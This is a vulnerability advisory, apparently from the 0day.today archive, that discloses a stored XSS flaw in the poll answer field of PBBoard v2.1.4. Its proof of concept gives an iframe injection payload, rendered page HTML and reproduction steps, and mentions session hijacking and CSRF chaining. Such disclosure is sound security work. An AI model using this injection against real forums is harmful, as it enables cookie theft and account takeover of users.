PBBoard v2.1.4 CMS - persistent XSS Vulnerabilities

PBBoard v2.1.4 CMS - persistent XSS Vulnerabilities

Introduction:
=============
PBBoard forum is a free and very famous flat-forum bulletin board software.
 
- LICENSE: http://www.pbboard.com/manual/license.txt
- INSTALL And UPGRADE : http://www.pbboard.com/pbb_manual/README.html
- English Style : http://www.pbboard.com/forums/t6478.html
- Languages : http://www.pbboard.com/forums/index.php?page=pages&show=1&id=6
- Converter: http://www.pbboard.com/forums/index.php?page=pages&show=1&id=3
- contact us: http://www.pbboard.com/forums/index.php?page=send&sendmessage=1
 
(Copy of the Vendor Homepage: http://www.pbboard.com/ )

Details:
========
A persistent web vulnerability is detected in the PBBoard v2.1.4  forum application.
The bug allows remote attackers to implement/inject malicious script code on the application side (persistent).
The persistent vulnerability is located in the  add poll function when adding a thread. The malicious code can  be injected in the `answer field`.
The output listing page with the pool executed the malicious persistent script code (JS/HTML).
Successful exploitation of the vulnerability can lead to stable (persistent) context manipulation.
Exploitation requires low user inter-action.
 
Vulnerable Module(s):
                             [+] Add thread > Add poll
 
Vulnerable Parameter(s):
                             [+] [Answer]
 
 
Proof of Concept:
=================
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged
user account & required user inter action. For demonstration or reproduce ...
 
To reproduce the vulnerability, the attacker should add a new thread and the check on the add poll button. After that
the attacker can add his malicious code in the answer field of the poll. Anyone who's viewing that thread will be
exploited  by the malicious code. Such attack can result in session hijacking, redirecting or cookie theft. Moreover,
the persistent XSS can be exploited to launch a CSRF attack to the user and to exploit the other CSRF vulnerabilities
in the same product to completely hack the application.
 
Poll:  <iframe src=http://www.vuln-lab.com></iframe> !
</span>
        </td>
    </tr>
    <tr align="center">
        <td class="thead" width="95%" colspan="3">
        Question :<strong>&<iframe src=http://www.vuln-lab.com></iframe> !</strong>
        </td>
    </tr> <tr>
        <td class="row1" width="50%">
<input type="radio" name="answer" value="0">
<iframe src=http://www.vw.de></iframe></td>
        <td class="row1" width="40%">
 <img src="look/styles/forum/main/images/bar_right.gif" alt="" width="4" height="11"><img src="look/styles/forum/main/images/bar.gif"
 alt="" width="0" height="11"><img src="look/styles/forum/main/images/bar_left.gif" alt="" width="4" height="11">
        </td>
        <td class="row1" width="12%" align="center">
Voters: 0       </td>
    </tr>
 
    <tr>
        <td class="row1" width="50%">
<input type="radio" name="answer" value="1">
<[PERSISTENT SCRIPT CODE]></iframe></td>
<td class="row1" width="40%">
<img src="look/styles/forum/main/images/bar_right.gif" alt="" width="4" height="11">
<img src="look/styles/forum/main/images/bar.gif" alt="" width="0" height="11">
<img src="look/styles/forum/main/images/bar_left.gif" alt="" width="4" height="11">
        </td>
        <td class="row1" width="12%" align="center">
 
 
Risk:
=====
The security risk of the persistent input validation vulnerabilities is estimated as medium(+).
 


#  0day.today [2018-04-04]  #